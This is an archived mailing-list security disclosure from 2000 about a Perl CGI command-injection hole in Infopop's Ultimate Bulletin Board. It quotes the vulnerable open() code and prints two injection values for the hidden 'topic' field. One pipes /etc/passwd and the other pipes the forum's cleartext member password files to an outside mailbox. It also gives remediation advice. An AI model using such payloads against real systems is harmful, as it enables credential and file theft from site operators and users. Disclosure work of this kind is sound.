perl-cgi hole in UltimateBB by Infopop Corp.

From: Sergei A. Golubchik (sergat_private)
Date: Fri Feb 11 2000 - 11:49:35 PST

  • Next message: Laurent LEVIER: "Timbuktu Pro 2.0b650 DoS"

    Hello.
    
    Writing cgi scripts in perl is simple. It's also rather safe,
    providing authors follow very simple instructions. But they don't.
    
    Browsing some site, I found that their forums were based not on home-
    made scripts, but rather commercial software product. Hey, said I to
    myself, remember those story about pcweek hack ? They use commercial
    package photoads. Let's look what that Ultimate Bulletin Board by
    Infopop is.
    
    I grabbed freeware version from http://www.ultimatebb.com and
    after 10-minutes grepping found those lines:
    
    ubb_library.pl:901-902
              if ($ThreadFile =~ /\d\d\d\d\d\d\.ubb/) {
              open (MESSAGE, "$ForumsPath/Forum$number/$ThreadFile");
    
    (notice? not /^\d\d\d\d\d\d\.ubb$/. What did the author think about while
    writing it ? Girls ?)
    
    And the $ThreadFile takes its value directly from the hidden (hmm!)
    field `topic'.
    
    So when I filled the form with
    topic='012345.ubb|mail hackerat_private </etc/passwd|'
    It happily gives me /etc/passwd. And
    topic='012345.ubb|cat Members/*|mail hackerat_private|'
    shows all users of bulletin board, and their passwords too (in cleartext!).
    
    So one should only open "reply" form in the forum, save it to disk,
    and set topic field to whatever he want. And this stupid UBB (at least
    freeware version) doesn't keep the logs (unless, so-called, hacklog,
    used when the condition above is not met).
    
    The fix is obvious. But the rule of the thumb is "do not use magic perl open".
    At least in cgi scripts. If you want to open regular file, sysopen does
    the trick as well.
    
    And again: CHECK EVERYTHING!
    
    Regards,
    SerG.
    
    P.S. Vendor was notified.
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:34:33 PDT